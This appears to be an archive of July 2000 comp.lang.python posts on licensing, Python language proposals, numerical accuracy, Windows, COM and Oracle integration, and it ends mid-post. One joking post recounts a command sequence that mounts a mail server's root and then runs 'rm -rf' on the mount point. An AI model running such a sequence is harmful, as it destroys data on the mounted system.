References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com>
Message-ID: <8lq2c8$hg2$2@newshost.accu.uu.nl>

Tim Peters <tim_one at email.msn.com> wrote:
[snip]
> I'm not a lawyer either (as you well know <wink>), but at least in America
> you hold copyright on your works whether or not you state it explicitly.

I believe it's actually the same in other countries in which the
Berne convention on copyright is in effect. If you write it, you get
copyright, basically.

Ah, right, article 5:

(2) The enjoyment and the exercise of these rights shall not be subject to
any formality; such enjoyment and such exercise shall be independent of
the existence of protection in the country of origin of the work. Consequently,
 apart from the provisions of this Convention, the extent of protection,
as well as the means of redress afforded to the author to protect his rights,
shall be governed exclusively by the laws of the country where
protection is claimed. 

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From gmcm at hypernet.com  Sun Jul 23 14:02:54 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 23 Jul 2000 18:02:54 GMT
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <slrn8nm2dg.an7.neelk@brick.cswv.com>
Message-ID: <8F7A86AE8gmcmhypernetcom@199.171.54.155>

Neel Krishnaswami wrote:

>Gordon McMillan <gmcm at hypernet.com> wrote:

[Paul's proposal creates one access handler per attribute...]

>I'm afraid I still don't understand. 

Oh, I think you do <wink>.

>If I wanted to use separate
>accessors/mutators, what would I do with the current proposal?

One possibility is to oppose it, though that's probably not necessary, 
since it's not yet coherent.

>An example (using separate accessors) that I'd like to see translated:
>
>class Foo:
>   def __init__(self, x):
>       self.x = x
>
>
>class LogWrites(Foo):
>   def __set_x__(self, x, val):
>       add_to_write_log()
>       self.__dict__['x'] = val 

The current proposal is to write

  def __attr_x__(self, op, val=None):
    if op == 'get':
       ...
    elif op == 'set':
       ...
    elif op == 'del':
       ...

IOW, in the current proposal, you can't.

- Gordon


From fiona at sitegnome.com  Tue Jul 25 07:05:44 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 25 Jul 2000 11:05:44 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 25th, 2000
Message-ID: <20000725110544.8021.qmail@synop.com>

Hi All,

The latest entries to be entered into http://python.faqts.com

cheers,

Fiona Czuczman

Including:

- Can I run python code with files that don't end with the python 
extensions(.py and others)?
- Can someone please point me to link(s) to python modules dealing with 
cryptography e.g ssleay or open ssl wrappers?
- How can I hold x,y,z coordinates in a multi-level grid?


## New Entries #################################################


-------------------------------------------------------------
Can I run python code with files that don't end with the python extensions(.py and others)?
http://www.faqts.com/knowledge-base/view.phtml/aid/4997
-------------------------------------------------------------
Fiona Czuczman
Steve Purcell

Yes. Simply 'chmod +x scriptname' and make the first line of the script 
read '#!/usr/bin/env python'. But, an executable file is almost as 
obviously a script as a '.py' file.


-------------------------------------------------------------
Can someone please point me to link(s) to python modules dealing with cryptography e.g ssleay or open ssl wrappers?
http://www.faqts.com/knowledge-base/view.phtml/aid/4998
-------------------------------------------------------------
Fiona Czuczman
Ng Pheng Siong

M2Crypto at http://www.post1.com/home/ngps/m2 is a Python interface to
OpenSSL's crypto, SSL and S/MIME functionality.

python-crypto at egroups.com is a low-volume mailing list talking about
Python and crypto.


-------------------------------------------------------------
How can I hold x,y,z coordinates in a multi-level grid?
http://www.faqts.com/knowledge-base/view.phtml/aid/4999
-------------------------------------------------------------
Fiona Czuczman
Peter Schneider-Kamp

You can use lists of lists of lists of 3-tuples containing the 
coordinates. Adressing is done via repeated indexing.

For example the corners of a unit cube between 0 and 1:

>>> a = [ [ [(0,0,0), (0,0,1)], [(0,1,0), (0,1,1)] ],
...       [ [(1,0,0), (1,0,1)], [(1,1,0), (1,1,1)] ] ]
>>> a[0][0][0]
(0, 0, 0)
>>> a[1][0][1]
(1, 0, 1)
>>>

You can also use NumPy. Chances are (if only slight ones) that it will 
be included with 2.0

(see PEP 206 http://python.sourceforge.net/peps/pep-0206.html)






From tim_one at email.msn.com  Thu Jul 27 18:37:14 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Thu, 27 Jul 2000 18:37:14 -0400
Subject: The State of Python
In-Reply-To: <slrn8o1co0.k64.stianh@localhost.localdomain>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com>

[Stian Husemoen]
> If Python had the GPL-license we would never have gotten into
> this mess.

Indeed, if Python had been GPL'ed it may not even have survived until now
<wink>.

> My main argument for *not* using Python at first was that it didn't
> have the GPL attached to it... Yes, the GPL is more restricive
> but you can't have both ways.

The old Python license served it very well for a decade.  The new Python
license will almost certainly also be OSI certified, *compatible* with the
GPL, and allow proprietary commercial use.  What we haven't been able to
avoid is massively unproductive legal wrangling -- but nothing can guarantee
to save you from that.

> There will always be a danger of this happening again until someone
> make a GNU version of Python. (btw. would this be possible?)

The old (still current, as of today) Python license was very permissive.  If
you want to grab the source for Python 1.5.2 and re-release it under the
GPL, I think that would be fine.  CNRI may not agree, though.  Can't guess
about the new Python license (I've seen working drafts, but I don't feel
that I understand it well enough to hazard a guess about what it means in
all cases).





From kuchler at ajubasolutions.com  Fri Jul 28 02:23:26 2000
From: kuchler at ajubasolutions.com (Dan Kuchler)
Date: Thu, 27 Jul 2000 23:23:26 -0700
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
Message-ID: <398126DE.6E2C2627@ajubasolutions.com>

Cameron Laird wrote:
> 
> <URL:http://deja.com/=dnc/getdoc.xp?AN=651665267> is the most pro-
> vocative summary I've yet seen of Larry Wall's talk at the O'Reilly
> Open Source Convention.  Mark-Jason Dominus's typically masterful
> <URL:http://www.perl.com/pub/2000/07/perl6.html> provides technical
> details.  I think at least the first of these will reward a quick
> read by everyone involved in planning the futures of, for example,
> Python and Tcl.  I applaud Conrad Schneiker for his care in prepar-
> ing this.

More interesting to me (and perhaps more interesting to some here in
the comunity) are the notes from the initial brainstorming session
on July 17th about what Perl 6 will be (what are the reasons for
making it, what features might be added, etc.)

http://www.perl.org/perl6/pr/initial_meeting.html

Lots if interesting little tidbits in here.

They talk of adding stacked IO channels "a l a Tcl"
an event loop similar to tcls to allow packges like Tk
to play better with perl, and they talk about basing
the rewrite around unicode and threads, since it has
been difficult for them to get unicode and threads working
with the Perl 5 sources.

These are just a few of the interesting things mentioned in that
article.

To steal some terminology, I like their naming of what we call
the "Tcl sumo distribution", the Perl SDK.  A set of useful extensions
and tools that will be distributed with Perl 6.

--Dan


From thiele at muc.das-werk.de  Mon Jul  3 07:30:22 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 13:30:22 +0200
Subject: making widgets invisible
Message-ID: <3960794E.6E2B36E6@muc.das-werk.de>

How can I realize that a set of widgets (buttons and entries)
is invisible when I don't need them and visible when I need them?

One solution is to create a dialog window (or frame) and destroy it
then.
But is there a better one? 

Withdrawn works only with top level widgets.

Thanks Thomas


From cookedm at physics.mcmaster.ca.bbs  Mon Jul 17 17:50:02 2000
From: cookedm at physics.mcmaster.ca.bbs (cookedm at physics.mcmaster.ca.bbs)
Date: 17 Jul 2000 21:50:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRQTQ$mD_@openbazaar.net>

At some point, hzhu at localhost.localdomain (Huaiyu Zhu) wrote:

> On Mon, 17 Jul 2000 14:12:02 -0500, Paul Prescod <paul at prescod.net> wrote:
>
> >Maybe you should consider how to scale back your syntactic request.
> >Perhaps a single keyword or symbol at the beginning of an expression
> >could make it element-wise or matrix-wise.
>
> Well, that would be fine if it is workable, ie, when they don't appear in
> the same expression.
>
> Consider the proposal of having two classes, Matrixwise and Elementwise,
> with methods to cast to each other.  I don't know why
>
> (a.E()*b.E()).M()*(c.E()*d.E()).M()
>
> would be more preferable to
>
> (a.*b)*(c.*d)

Well, it doesn't have to be as complicated as your first example. Assume
the default is Matrixwise, and we get rid of some ()'s by overriding
__getattr__, so that we can right

(a.E*b.E)*(c.E*d.E)

Better? It's not great, you have to remember to put .E on both. Ahh!
But what if we assume that if one operand has .E, the other does also!
Then we can write

(a.E*b)*(c.E*d)

which is two characters more than your second example.

--
|>|\/|<
----------------------------------------------------------------------------
David M. Cooke
cookedm at mcmaster.ca


From aahz at netcom.com  Mon Jul  3 10:18:42 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 3 Jul 2000 14:18:42 GMT
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de>
Message-ID: <8jq7c2$2f8$1@slb6.atl.mindspring.net>

In article <39606DAC.49A502DB at muc.das-werk.de>,
Thomas Thiele  <thiele at muc.das-werk.de> wrote:
>
>The problem is I am using threads, fork and exec. And I want to have the
>same behaviour using NT.

You'll need to look at the Win32 extensions to do the fork/exec stuff.
I've got zero experience with that, but hopefully either the docs are
good enough or Mark Hammond will be by shortly.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From fredp at mygale.org.nospam  Fri Jul 28 08:43:36 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 28 Jul 2000 12:43:36 GMT
Subject: PY to HTML
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com> <eIeg5.3766$kh.452385@news2.rdc2.on.home.com>
Message-ID: <8F7F9B7B7PaCmAnRDLM@161.48.76.20>

colinmeeks at home.com (Colin Meeks) said :

>Excellent.  Thanks.
>
>Colin

useful to me also -- thanks twice !


-- 
YAFAP : http://www.multimania.com/fredp/


From grey at despair.rpglink.com  Fri Jul 28 19:17:22 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 23:17:22 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove> <slrn8o10ou.rt1.grey@teleute.rpglink.com> <8lt3pm$bgg$2@newsg4.svr.pol.co.uk>
Message-ID: <slrn8o44vv.793.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 23:47:46 +0100, Bill de h?ra <bill at dehora.fsnet.co.uk>
wrote:
>You've obviously never seen the damage programming can do to a company.

    Nope.  Of course that wayward this wayward sequence cause some problems.

mount mail:/ tmp
cp -p tmp tmp2
^C
rm -rf tmp

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From ejr at lotus.CS.Berkeley.EDU  Sat Jul 22 22:56:16 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 23 Jul 2000 02:56:16 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu> <slrn8nhcdk.ql.hzhu@rocket.knowledgetrack.com>
Message-ID: <8ldmsg$jds$1@agate.berkeley.edu>

And Huaiyu Zhu writes:
 - I tend to agree on what you said about error bounds.  Would you like to
 - summarize what you consider should go into the specifications? 

Um, the same as in the BLAS and LAPACK?  ;)  Seriously, though,
I need to think about this some more.  And do some back-reading,
like checking some of the papers on language support for complex,
etc.  No on-line copies are available, but I need to make a 
library run soon anyways.

 - On the other hand I think a lot of this should go to the packages rather
 - than the operators.

I don't.  Historically, unless people have required error bounds
from the very beginning, package providers have gone the fast-but-
wrong route.  That's why the Alpha happened at all.  See yet 
another of Dr. Kahan's writings for examples:
  http://www.cs.berkeley.edu/~wkahan/ieee754status/baleful.ps

I'm not always citing his papers just because I know him; they're
really the most lucid, easily available writings I've seen on the 
topic.  If anyone can point at others, please do.

 - The specification should be broad enough so even
 - special subclasses like sparse matrices, specially shaped matrices, 
 - etc, or speed-greedy algorithms would not have to conflict with it.

Special matrices always have _better_ bounds, so there's no issue 
there.  And speed-over-accuracy algorithms should not be encouraged
for general use at all.  Like I said, they may be appropriate for
very special uses, but those people are likely to use their own, 
special packages for those environments.  And they're likely to
implement most of it in C, anyways.

 - My idea is to specify a collection of parameters to be guaranteed by the
 - numerical packages, each specifying its own values for these paramters.

Hm.  I don't think that's too far from what I want.  LAPACK and the
new BLAST standard give ``environmental query routines'' to get the
underflow, overflow, eps, etc. values, then the standard specifies
the error in terms of those values.  Given that that's the only thing
even possible with varying hardware and arithmetics...

 - Does this somehow alleviate your concern about untrackable 
 - implementations?

Maybe.  Unfortunately, it's been a nice, relaxing Saturday, so I
may not be thinking properly.  ;)

 - Good question.  Any volunteers?

I'm going to subscribe to the Numerical Python list tomorrow or
so, then start looking over the {float,complex}object.c code.

 - I don't think the language should make any guarantee on packages not 
 - distributed with it.

I see your point, but there are the famous ``language design is
library design'' and ``library design is language design'' quotes.

I would not feel at all bad if the language guaranteed that results
are reasonably accurate.  I would feel horribly if it didn't, and
if that lack affected people.

 - The point is, for any serious numerical work, users should check the 
 - package they are importing, rather than a generic description of the 
 - operators.

Yes, but how many will?

 - There can be better algorithms that are considered better simply 
 - because they are faster.

I disagree.  You can _always_ produce a mostly wrong answer quickly.
Would you be making the same arguments for faster but inaccurate
_integer_ arithmetic?

Now, there are cases where a few particular calculations trade the
most-accurate position in different regions.  The general solution
there is to add a few tests before them to find the right region.
Unfortunately, that's not always feasible...

 - Would such packages be banned from using these operators?

>From supplying implementations for them?  Sure.  Keep in mind that
we cannot (and should not) legally ban them (the way a certain
other language does).  We can state clearly that they do _not_ 
meet the minimum requirements.  How woul you feel about a Python
implementation that had 3 == 1 + 1?

 - Where should users look for definite specs?

www.python.org comes to mind.  ;)

 - The common minimum should clearly be restricted to one package.  

I can't agree to this.  Especially since I'm also talking about
things that aren't in packages, like complex arithmetic.

AUGH!  I just looked at complex division:
> Py_complex c_quot(Py_complex a, Py_complex b)
> {
>         Py_complex r;
>         double d = b.real*b.real + b.imag*b.imag;
>         if (d == 0.)
>                 errno = EDOM;
>         r.real = (a.real*b.real + a.imag*b.imag)/d;
>         r.imag = (a.imag*b.real - a.real*b.imag)/d;
>         return r;
> }

The calculation of d can overflow, destroying a computation that
should have been just fine.  The standard solution is to scale
it by 1/b.real (consider it as a dot product).  I need to double-
check this, but I don't think the general accuracy is changed if
you compute 1/d and multiply...

I'll try to fix and test this sometime this week.  sigh.  Time.
The best fix (assuming you're not trapping on overflow) is to
simply compute it much like it is, test for the error afterwards,
and re-compute it if it was screwed up.

 - I would still think that's mainly caused by matlab's monolithic nature.

I agree with Travis Oliphant that the availability of packages is
also a huge deal...

 - There are many packages that implement various numerical routines.  They are
 - closely related to lapack, linpack, eispack, cephes or whatever names their
 - underlying fortran or C packages have.   

LINPACK and EISPACK are dead.  They are both slower and more error-
prone than the latest LAPACK.  Cephes is for elementary functions,
and it provides and documents appropriately good errors.  This all
from a discussion over linear algebra operators, so I've mainly
been thinking of the impact of the error bounds on the operators,
not necessarily of those in functions.

Here's another idea:  Consider the interface-provider idea.  It's
used pretty frequently in Java, at least.  The standard interface
for various numerical routines can have guaranteed error bounds.  
The interface can have various drivers behind it, chosen by specifying
in the installation or by user routine.  Something like ``import Numeric''
would import the default implementation.  All implementations that
could be the default must obey the bounds.

I think we're arguing the same point but with different words...
Like I said, it's been a nice Saturday, so I'm probably not thinking
too clearly on these issues.  Gotta run out to a nice dinner, too,
so I'm rushing.  I'll put more thought into this soon.

But we should try to move this to the correct mailing list, imho.

 - There can be also one or two assembled packages for dummies-only, with the
 - easiest interface and most foolproof implementation.

The ``import Numeric'' + implementation thingy...

Jason


From bragib at my-deja.com  Mon Jul 31 16:39:01 2000
From: bragib at my-deja.com (bragib at my-deja.com)
Date: Mon, 31 Jul 2000 20:39:01 GMT
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <8m4o54$f91$1@nnrp1.deja.com>

os.path.exists('file.ext')
returns 1 or 0

Bragi



In article <3985DDA3.E811F70A at ncsa.uiuc.edu>,
  Randy Heiland <heiland at ncsa.uiuc.edu> wrote:
> How does one test for whether or not a (Unix) file exists?
>
> thanks,
> Randy
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From horst at proceryon.at  Mon Jul 31 03:39:03 2000
From: horst at proceryon.at (Horst Gassner)
Date: Mon, 31 Jul 2000 09:39:03 +0200
Subject: QUESTION: COM objects in python?
References: <8lt4ra+sgp4@eGroups.com> <QJGg5.1046$Oy3.21036@news2-win.server.ntlworld.com>
Message-ID: <39852D17.7D9544A4@proceryon.at>

Hello!

> Mark probably didn't mention because he wrote it but there's a great book by
> him and Andy Robinson caled Python Programming on Win32. It gives some
> excellent examples of exactly what you want to do.
I bought this book just two weeks ago and like this book very much!
If you want to write python programs for Windows this book is a must.

Nice greetings
Horst


From daniel at dittmar.net  Sun Jul  9 06:46:51 2000
From: daniel at dittmar.net (Daniel Dittmar)
Date: Sun, 09 Jul 2000 12:46:51 +0200
Subject: Borland C++ Builder make files for Python?
References: <3967DBDB.7FBDD3E5@tds.net>
Message-ID: <3968581B.C9571894@dittmar.net>

I think Borland supplies a tool to convert Visual C++ workspaces to C++
Builder projects, at least they mention VCTOBPR.EXE in their help files
for the free command line tools. 

Unfortunately, this tool is not part of the free tools, so please submit
your converted makefiles to the Python team.

BTW, I don't think it is really necessary to rebuild Python, just try
linking against the import lib created from the python15.dll.

Daniel

"Edward K. Ream" wrote:
> 
> I would like to build the Python interpreter and library using Borland
> C++ Builder 4 so that I can embed Python in an app.  Does anyone have
> such a makefile that works?
>


From erwin at andreasen.com  Sun Jul 30 08:19:23 2000
From: erwin at andreasen.com (Erwin S. Andreasen)
Date: 30 Jul 2000 12:19:23 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au>
Message-ID: <slrn8o879j.162.erwin@erwin.andreasen.org>

On Sun, 30 Jul 2000 12:07:59 GMT, Neil Hodgson <neilh at scintilla.org> wrote:

>   I can explain how to use calldll. If you want to know how to write your
>own extensions then you should read the "Extending and Embedding the Python
>Interpreter" document which is part of the standard documentation package
>and should have been installed when you installed Python.
>
>   calldll is a low level Python extension libary which contains functions
>for creating buffers, loading DLLs, finding the address of functions within
>the loaded DLLs, and calling the functions. On top of that is a higher level
>windll module that makes it more convenient to call.

Interesting -- it should be possible to create a similar module for loading
shared objects under UNIX and calling functions in those. Although it wouldn't
be that easy, since you would need to find a way to call a function pointer
with a variable number of arguments in C.

Has anyone created something like this? Is there any interest in it? It would
allow interfacing to shared libraries without needing to compile a C-module or
having to get a compiled C module just for your specific architecture (at the
expense of some speed, of course).

Of course, such a module would hae to be part of the standard Python for it to
be really useful :)


-- 
=======================================================================
<erwin at andreasen.com>           Herlev, Denmark       Software Designer
<URL:http://www.andreasen.org/>       <*>                LASAT Networks
=======================================================================


From gpepice1 at nycap.rr.com  Fri Jul 28 22:37:41 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:37:41 GMT
Subject: Python interface to Oracle
References: <3951C636.2E985CE@ust.hk> <87og4t26zz.fsf@ns.f7.ph4.lan>
Message-ID: <39824433.1F037EA7@nycap.rr.com>

Oracle can be downloaded from ftp.oracle.com.

Andreas Rottmann wrote:

> David YEUNG <dyeung at ust.hk> writes:
>
> > Does anyone know if any python module has been developed for
> > interfacing with Oracle8i database on Linux?
> >
> That would be interesting for me, too. I'm likely to develop one, if
> it doesn't exist, since I have the infrastructure ready - see
> GQL.sourceforge.net.
>
> All it would take is writing an Oracle driver for GQL, which can be
> done within a few days. Anyway, I would appreciate if someone could
> help me with that, since I don't have Oracle and am not willing to pay
> the $$$.
>
> Andy
> --
> Andreas Rottmann   | Dru at ICQ     | 54523380 at ICQ | a.rottmann at gmx.at
> Pfeilgasse 4-6/725 | A-1080 Wien | Austria      | Europe
> http://www.8ung.at/rotty         | Key is there | gpg (GnuPG) 1.0.1
> Fingerprint        | 3E9A C485 49A4 1D17 2EA7  2BA7 22AE C9BF 8173 6279
> [one of 78,35% Austrians who didn?t vote for Haider!]



From dnotspam-jen at personic.com  Sun Jul  2 18:22:29 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Sun, 2 Jul 2000 15:22:29 -0700
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net> <8jlmj0$r1q$1@supernews.com>
Message-ID: <395fbd8c$1$5622@wodc7nh0.news.uu.net>

Yes, I think for the first version I will do this (no need to deal with
multi-threading or the network this way). But after the initial version
works (hopefully later today), I'll try to move on to one of the other
methods described above, probably starting with XML-RPC if I can find more
info on it.

Thanks, all!

Jen

"Dale Strickland-Clark" <dale at out-think.NOSPAMco.uk> wrote in message
news:8jlmj0$r1q$1 at supernews.com...
> Start simple.
>
> Unless this is particularly time critical, I'd create a folder on the
Build
> server  and share it with suitably limited access.
>
> Give the Web server write access to the folder.
>
> The Web server writes a batch file or Python script to the shared
directory.
>
> Every few minutes the Build server checks this folder for a file and
> executes it.
>
> If you need some feedback, it could change the name of the file or move it
> to a subdirectory while it's running so the Web server can see it's
active.
>
> --
> Dale Strickland-Clark
> Out-Think Ltd, UK
> Business Technology Consultants
>
> donotspam-jen at personic.com <dnotspam-jen at personic.com> wrote in message
> news:395d48b3$0$21842 at wodc7nh0.news.uu.net...
> > FYI, I'm doing all of this on Windows NT, in case that makes a
difference
> > ...
> >
> > Is there a good way to get a script on one computer to talk to a script
on
> > another computer?  The process I'm thinking of is pretty simple ... I
want
> a
> > script on a Web server to be able to send a command to a build server to
> > start a build process.  I'd also like the Web server to be able to query
> the
> > build servers to find out their status (so that two builds do not run at
> > once on the same machine, for example).
> >
> > I've read a little about SOAP, but I think that my needs are probably a
> lot
> > simpler than that.  The easiest way to accomplish this is to setup a Web
> > server on each of the build machines, too, I guess ... but I was hoping
> that
> > I could just have the scripts that run on the build servers run as NT
> > services.
> >
> > Thanks!
> >
> > Jen
> >
> >
> >
> >
>
>




From gmcm at hypernet.com  Thu Jul 20 19:34:53 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 20 Jul 2000 23:34:53 GMT
Subject: Determine path of current module?
References: <3976AA30.1C4F62B8@schlund.de> <8l6bis$elb$1@pollux.ip-plus.net> <3976B678.83F01206@schlund.de>
Message-ID: <8F77CB1ABgmcmhypernetcom@199.171.54.155>

Carsten Gaebler wrote:

>"J?rgen Hermann" wrote:
>
>> ### mypath.py
>> import sys
>> print sys.modules[__name__].__file__
>> 
>> [d:\tmp]python -c "import mypath"
>> mypath.py
>
>Well, that's just the filename. What I'm looking for is the complete path,
>"d:\tmp\mypath.py" in this case.

First, you don't need "sys.modules[__name__].__file__", just "__file__". 

Second, it only lacks a path when it was found in '.', so 
os.path.abspath(__file__) will do fine for anything except the top level 
script (which doesn't have a __file__ attribute).

-Gordon


From jgraves3 at austin.rr.com  Tue Jul 18 13:41:33 2000
From: jgraves3 at austin.rr.com (jay graves)
Date: Tue, 18 Jul 2000 17:41:33 GMT
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <397495d7.20215540@news-server>

On Tue, 18 Jul 2000 10:08:13 -0400, Andrew Kuchling
<akuchlin at cnri.reston.va.us> wrote:

>This is a first experiment in whether I can make a useful,
>interesting, somewhat coherent summary of python-dev activity.  
>If reaction is favorable, and time permits, it may become a biweekly 
>posting.
>
>--amk

I like this type of posting VERY VERY much.  
Please continue.

Jay Graves



From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 11:36:44 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Tue, 25 Jul 2000 15:36:44 GMT
Subject: PythonWin/Scintilla aggressive folding...
Message-ID: <guif5.43644$1h3.552517@news20.bellglobal.com>

I have the following wxPython code:

class ztApp ( wxApp ) :

 def OnInit ( self ) :
  frame = ztLoader ( )
  frame.Show ( true )
  self.SetTopWindow ( frame )
  return true


# Main code
pngHandler = wxPNGHandler ( )
wxImage_AddHandler ( pngHandler )
app = ztApp ( 0 )
app.MainLoop ( )



...which is fine and dandy.  Next, I want fold away the class, and the
result is this:


class ztApp ( wxApp ) :
pngHandler = wxPNGHandler ( )
wxImage_AddHandler ( pngHandler )
app = ztApp ( 0 )
app.MainLoop ( )


My comment is missing.  It isn't part of the class definition, yet was
"gobbled up" by the fold.  Can I prevent this?  Also, I'd like it to be even
smarter and not gobble up blank lines after the class definition, so that
the end result would look like so:

class ztApp ( wxApp ) :


# Main code
pngHandler = wxPNGHandler ( )
wxImage_AddHandler ( pngHandler )
app = ztApp ( 0 )
app.MainLoop ( )


Ideas?  This seems to be a Scintilla issue, as
pywin\framework\editor\color\coloreditor.py seems to indicate that PythonWin
doesn't do the actual folding:

def FoldExpandEvent(self, event):
  if not self.bFolding:
   win32api.MessageBeep()
   return
  win32ui.DoWaitCursor(1)
  lineno = self.LineFromChar(self.GetSel()[0])
  if self.SCIGetFoldLevel(lineno) & SC_FOLDLEVELHEADERFLAG and \
    not self.SCIGetFoldExpanded(lineno):
   self.SCIToggleFold(lineno)
  win32ui.DoWaitCursor(-1)


Thanks for your help!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III






From hei at adtranzsig.de  Thu Jul 20 04:37:21 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Thu, 20 Jul 2000 10:37:21 +0200
Subject: How to hook import?
Message-ID: <8l6dsf$1mu$1@desig-bs01-s04.adtranzsig.de>

A question to the Developers:

What's the official way to overload the behaviour
of import()? I've searched the python website and
find lots of hits regarding __import__() and
"imputils" and more, more than i can read. ?
What's the future way of
doing this, i mean, from 1.6a1 upwards?

(I'd like to preprocess Python files when importing;
for some rather crazy idea i can't speak out
because maybe it won't be useful at all)

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net






From scherbi at bam.com  Wed Jul  5 07:27:51 2000
From: scherbi at bam.com (Bill Scherer)
Date: Wed, 05 Jul 2000 11:27:51 +0000
Subject: DCOracle error
References: <3962CB94.2DDA9AA9@esec.com.au>
Message-ID: <39631BB7.3641E234@bam.com>

Getting those Oracle lib lines correct is a bear.  Below is the line
from my makefile for DCOracle, built against Oracle 8.0.5.

ORACLE_L=-lnetv2 -lnttcp -lnetwork -lncr -lnetv2 -lnttcp -lnetwork
-lclient -lvsn -lcommon -lgeneric -lmm -lnlsrtl3 -lcore4 -lnlsrtl3
-lcore4 -lnlsrtl3 -lnetv2 -lnttcp -lnetwork -lncr -lnetv2 -lnttcp
-lnetwork -lclient -lvsn -lcommon -lgeneric
-lepc -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lclient -lvsn
-lcommon -lgeneric -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4
-lnlsrtl3 -lnsl -lgeneric -ldl -lelf -lposix -lsql -lm -lm

(that's one line)

You'll notice that many of the entries from the stock Makefile ORACLE_L
line are missing.

Now, I have libnetv2.a in ORACLE_HOME/lib.  Possibly you neglected to
install some of the Oracle development libs?

 - Bill Scherer

sss wrote:

> I don't know why I got this error when I try to install DCOracle in
> the Linux machine.
> I've got Oracle sqlplus: SQL*Plus: Release 8.1.5.0.0
>
> Here is the err msg:
>
> [oracle at ironfist src]$ make
> gcc -fPIC -g -O2 -I/usr/include/python1.5 -I/usr/include/python1.5
> -DHAVE_CONFIG_H  -I/home/oracle/product/8.15/rdbms/demo
> -I/home/oracle/product/8.15/rdbms/public
> -I/home/oracle/product/8.15/network/public
> -I/home/oracle/product/8.15/plsql/public -DDCORACLE8 -c ./oci_.c
> In file included from ./oci_.c:562:
> Buffer.h:79: warning: static declaration for `PyImport_Import' follows
> non-static
> oci_8.c: In function `Logon':
> In file included from ./oci_.c:693:
> oci_8.c:95: warning: passing arg 4 of `OCIHandleAlloc' makes integer
> from pointer without a cast
> oci_8.c: In function `newLob':
> oci_8.c:446: warning: passing arg 4 of `OCIDescriptorAlloc' makes
> integer from pointer without a cast
> oci_8.c: In function `initoci_8':
> oci_8.c:483: warning: passing arg 3 of `OCIEnvInit' makes integer from
> pointer without a cast
> ./oci_.c: In function `_wrap_odescr':
> ./oci_.c:2595: warning: assignment from incompatible pointer type
> gcc -shared  oci_.o  -L/home/oracle/product/8.15/lib/
> -L/home/oracle/product/8.15/rdbms/lib
> /home/oracle/product/8.15/rdbms/lib/defopt.o
> /home/oracle/product/8.15/lib/sscoreed.o
> /home/oracle/product/8.15/lib/nautab.o
> /home/oracle/product/8.15/lib/naeet.o
> /home/oracle/product/8.15/lib/naect.o
> /home/oracle/product/8.15/lib/naedhs.o -lnetv2 -lnttcp -lnetwork -lncr
> -lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon -lgeneric -lmm
> -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lnetv2 -lnttcp
> -lnetwork -lncr -lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon
> -lgeneric -lepc -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lclient
